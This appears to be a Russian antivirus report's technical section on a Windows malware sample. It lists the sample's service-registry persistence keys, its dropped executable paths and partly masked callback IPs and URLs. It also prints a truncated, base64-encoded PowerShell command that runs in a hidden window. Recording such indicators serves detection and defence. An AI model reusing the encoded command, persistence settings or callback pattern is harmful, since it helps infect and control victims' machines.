Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\fdSSDP] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\fdSSDP] 'ImagePath' = '"%WINDIR%\SysWOW64\feclient\fdSSDP.exe"'
- 'fdSSDP' "%WINDIR%\SysWOW64\feclient\fdSSDP.exe"
- 'fdSSDP' %WINDIR%\SysWOW64\feclient\fdSSDP.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAHMAZQB0ACAAdgAwADkAQQBuAGQAIAAoACAAIABbAFQAeQBQAEUAXQAoACIAewA2AH0AewA0AH0AewA1AH0AewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAgAC0ARgAnAHkAJwAsACcATQAnACwAJwBvAFIAJwAsACcALg...
- %HOMEPATH%\lmb_eqs\wkgepsv\p97mrnea.exe
- %WINDIR%\syswow64\feclient\fdssdp.exe
- %HOMEPATH%\lmb_eqs\wkgepsv\p97mrnea.exe в %WINDIR%\syswow64\feclient\fdssdp.exe
- '15#.#1.33.137':443
- http://www.10##db.com/wp-admin/Vf/
- http://15#.##.33.137:443/KPQQvFvc2Lm/00AZC9/ via 15#.#1.33.137
- DNS ASK pu##o-0.org
- DNS ASK ma###aku.com
- DNS ASK 10##db.com
- '%HOMEPATH%\lmb_eqs\wkgepsv\p97mrnea.exe'
- '%WINDIR%\syswow64\feclient\fdssdp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAHMAZQB0ACAAdgAwADkAQQBuAGQAIAAoACAAIABbAFQAeQBQAEUAXQAoACIAewA2AH0AewA0AH0AewA1AH0AewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAgAC0ARgAnAHkAJwAsACcATQAnACwAJwBvAFIAJwAsACcALg...' (со скрытым окном)